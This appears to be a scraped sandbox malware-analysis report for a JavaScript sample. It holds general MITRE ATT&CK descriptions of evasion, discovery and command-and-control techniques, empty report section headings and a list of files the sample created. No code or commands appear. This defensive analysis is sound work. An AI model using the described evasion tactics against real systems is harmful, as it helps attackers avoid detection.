Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 225803042163626345.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c73b2402-b364-4f31-8116-21b83873f98c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4016

Windows Analysis Report
225803042163626345.js